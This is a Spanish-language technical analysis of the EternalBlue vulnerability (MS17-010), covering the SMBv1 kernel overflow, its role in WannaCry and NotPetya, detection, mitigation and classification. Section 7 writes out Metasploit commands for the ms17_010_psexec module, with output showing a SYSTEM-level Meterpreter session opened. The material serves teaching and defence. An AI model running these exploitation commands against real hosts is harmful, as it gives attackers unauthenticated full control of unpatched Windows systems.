1. Descripción técnica del ataque
EternalBlue (boletín MS17-010) es un conjunto de vulnerabilidades críticas en la implementación de SMBv1 de Microsoft Windows que permite ejecución remota de código. El identificador principal es CVE-2017-0143, acompañado de CVE-2017-0144 a CVE-2017-0148.
El fallo central está en cómo srv.sys procesa paquetes SMBv1 Trans2 especialmente manipulados. Una conversión incorrecta entre estructuras de petición (de tipo FEA list "extendido" a "no extendido") provoca un desbordamiento de búfer en el pool del kernel (non-paged pool). Combinando este overflow con técnicas de heap grooming (a menudo apoyadas en el primitivo EternalRomance/DoublePulsar), el atacante consigue escribir en memoria del kernel y ejecutar código con privilegios de SYSTEM, sin autenticación.
Se explota contra el puerto SMB 445.
2. Impacto de la vulnerabilidad
- RCE remoto, no autenticado y a nivel de kernel (
SYSTEM): compromiso total del equipo. - Propagación masiva tipo gusano: fue el motor de WannaCry (mayo 2017) y NotPetya (junio 2017), dos de los ataques de ransomware/wiper más destructivos de la historia, con daños globales de miles de millones de dólares.
- Al residir en el kernel, un fallo en la explotación puede provocar un BSOD (pantalla azul) en el objetivo.
3. Historia y evolución
- EternalBlue fue desarrollado originalmente como herramienta ofensiva por la NSA (equipo Equation Group).
- 14 de abril de 2017: el grupo Shadow Brokers filtra el exploit públicamente.
- 14 de marzo de 2017 (un mes antes de la filtración) Microsoft ya había publicado el parche MS17-010, pero millones de sistemas sin actualizar quedaron expuestos.
- Mayo de 2017: WannaCry usa EternalBlue para propagarse mundialmente. Poco después, NotPetya repite el patrón.
- Existen módulos de Metasploit (
exploit/windows/smb/ms17_010_eternalblueyms17_010_psexec) ampliamente usados.
4. Factores que la hacen posible
- Sistema Windows sin el parche MS17-010 con SMBv1 habilitado (Windows XP/Vista/7/8.1, Server 2003/2008/2012, e incluso Windows 10 temprano).
- El puerto 445 accesible para el atacante.
- La presencia del protocolo legacy SMBv1, que debería estar deshabilitado.
5. Detección
- Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms17-010 target- Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target- Metasploit: el módulo auxiliar
auxiliary/scanner/smb/smb_ms17_010permite comprobar la vulnerabilidad antes de explotar.
6. Mitigación
- Aplicar el parche MS17-010 (solución definitiva).
- Deshabilitar SMBv1 por completo (recomendado por Microsoft incluso en sistemas parcheados).
- Bloquear el puerto 445 en el perímetro y segmentar la red interna.
- Retirar sistemas operativos sin soporte y mantener una política de parcheo ágil.
7. Ejemplo de explotación real
Con Metasploit, usando el módulo psexec de MS17-010:
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.1.139:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending stage to 192.168.1.139
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM8. Clasificación
- Tipo: Buffer Overflow (kernel pool) → Remote Code Execution
- CVE: CVE-2017-0143 (y CVE-2017-0144 … 0148), boletín MS17-010
- CWE:
- CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
- CWE-787 – Out-of-bounds Write
9. Resumen
EternalBlue (MS17-010) explota un desbordamiento en el pool del kernel a través de SMBv1, otorgando RCE remoto como SYSTEM sin autenticación. Filtrado por Shadow Brokers en 2017, fue el motor de WannaCry y NotPetya. La defensa es parchear, deshabilitar SMBv1 y bloquear el puerto 445. Sucesor histórico de MS08-067 como vulnerabilidad crítica de SMB en Windows.